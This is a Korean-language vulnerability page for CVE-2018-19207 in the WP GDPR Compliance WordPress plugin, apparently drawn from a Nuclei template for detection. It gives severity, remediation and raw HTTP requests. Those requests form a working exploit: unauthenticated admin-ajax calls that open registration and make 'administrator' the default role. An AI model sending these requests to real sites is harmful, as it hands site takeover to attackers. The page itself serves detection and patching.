🔙 목록으로 돌아가기

CVE-2018-19207: WP GDPR Compliance < 1.4.3 - Unauthenticated Call Any Action or Update Any Option

TitleWP GDPR Compliance < 1.4.3 - Unauthenticated Call Any Action or Update Any Option
Authoriamnoooob,pdresearch
SeverityCritical
ImpactUnauthenticated attackers can execute any action and update any database value, potentially creating admin accounts, modifying site configuration, or achieving remote code execution.
RemediationUpgrade to WP GDPR Compliance version 1.4.3 or later, or remove the plugin if no longer needed.
CVSS Score9.8
EPSS Score0.91939
CVE IDCVE-2018-19207
CWE IDCWE-425
Tags cve cve2018 wordpress wp-plugin wp-gdpr-compliance rce vkev vuln

🔍 Vulnerability Description

The WP GDPR Compliance plugin allows unauthenticated users to execute any action and update any database value. This vulnerability is due to the lack of proper validation in the Includes/Ajax.php file.

🌐 HTTP Request

GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.5.20) Gecko/ Firefox/3.6.6
Connection: close
Content-Length: 131
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

action=wpgdprc_process_action&security=i0KtYK&data={"type":"save_setting","append":false,"option":"users_can_register","value":"1"}
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Fedora; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Connection: close
Content-Length: 137
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

action=wpgdprc_process_action&security=i0KtYK&data={"type":"save_setting","append":false,"option":"default_role","value":"administrator"}

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2018/CVE-2018-19207.yaml

🦈 Packet Capture: ⬇️ Download cve-2018-19207.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A